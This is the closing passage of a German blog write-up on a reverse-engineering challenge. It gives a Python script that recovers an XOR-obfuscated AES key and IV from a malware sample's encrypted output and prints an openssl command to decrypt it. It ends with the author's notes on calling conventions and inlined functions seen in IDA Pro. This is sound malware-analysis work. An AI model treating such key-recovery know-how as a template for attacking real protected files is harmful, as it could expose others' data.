<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">printAsHexString</span><span class="p">(</span><span class="n">myList</span><span class="p">):</span>
<span class="k">return</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s1">'</span><span class="si">{:02x}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">myList</span><span class="p">)</span>
<span class="n">sourceFile</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="s1">'rb'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">headerlessSourceFile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s2">".headerless"</span><span class="p">,</span> <span class="s2">"wb"</span><span class="p">)</span>
<span class="n">headerlessSourceFile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">sourceFile</span><span class="p">[</span><span class="mi">46</span><span class="p">:])</span>
<span class="n">headerlessSourceFile</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">fileSizeUnaligned</span> <span class="o">=</span> <span class="n">sourceFile</span><span class="p">[</span><span class="mi">26</span><span class="p">:</span><span class="mi">30</span><span class="p">]</span>
<span class="n">xoredKey</span> <span class="o">=</span> <span class="n">sourceFile</span><span class="p">[</span><span class="mi">30</span><span class="p">:</span><span class="mi">46</span><span class="p">]</span>
<span class="n">key</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">iv</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xoredKey</span><span class="p">:</span>
<span class="n">key</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">i</span> <span class="o">^</span> <span class="mh">0x55</span> <span class="o">^</span> <span class="n">j</span><span class="p">)</span>
<span class="n">j</span> <span class="o">+=</span><span class="mi">2</span>
<span class="n">lsbFileSizeUnaligned</span> <span class="o">=</span> <span class="n">fileSizeUnaligned</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">iv</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">lsbFileSizeUnaligned</span> <span class="o">^</span> <span class="n">j</span><span class="p">)</span>
<span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"openssl enc -d -in "</span> <span class="o">+</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s2">".headerless -out "</span> <span class="o">+</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s2">". </span><span class="se">\</span>
<span class="s2">decrypted -iv "</span> <span class="o">+</span> <span class="n">printAsHexString</span><span class="p">(</span><span class="n">iv</span><span class="p">)</span> <span class="o">+</span> <span class="s2">" -K "</span> <span class="o">+</span> <span class="n">printAsHexString</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="o">+</span> <span class="s2">" -aes-128-cbc -nosalt -nopad "</span><span class="p">)</span>
</code></pre></div></td></tr></table></div>
<h1>Lessons learned</h1>
<p>Folgende beiden Punkte sind mir insbesondere aufgefallen. Falls jemand tieferes Wissen zu diesen Themen dazu hat,
nehme ich Hinweise gerne über die üblichen Kanäle entgegen! Inbesondere wenn
die Feststellungen nicht stimmen... ;)</p>
<h2>Mehrere Calling Conventions</h2>
<p>Da die Malware offensichtlich statisch hineinkopmpilierte Teile enthält
findet man scheinbar mehrere Calling Conventions innerhalb der einen Binary.
Der Compiler selbst nutzt für die vom Autor geschriebenen Funktionen fastcall:</p>
<p><img alt="IDA Pro: fastcall und cdecl Calling Conventions" src="https://blog.3or.de/images/bnd-re-challenge-level-2-8.png"></p>
<p>Man könnte, wenn die statisch gelinkte Library eine andere Calling Convention
nutzt als der verwendete Compiler, also relativ elegant herausfinden ab welcher
Stelle eine Library genutzt wird - in der Abbildung werden die Parameter per
cdecl übergeben, die Funktion selbst wird per fastcall aufgerufen. </p>
<h2>Inline-Funktionen</h2>
<p>An mehreren Stellen wird der Key ent- und verschlüsselt / obfuskiert mittels
einer Funktion, die ich xorKey genannt habe. Der
Compiler scheint diese Funktion an einer Stelle inline eingebettet zu haben, an
den anderen Stellen aber den klassischen Funktionsaufruf beibehalten zu haben.
Eventuell wurde das auch so programmiert, scheint mir aber eher
unwahrscheinlich. Ist das "normales" Compiler-Verhalten, wenn Optimierung beim Kompilieren aktiviert werden?</p>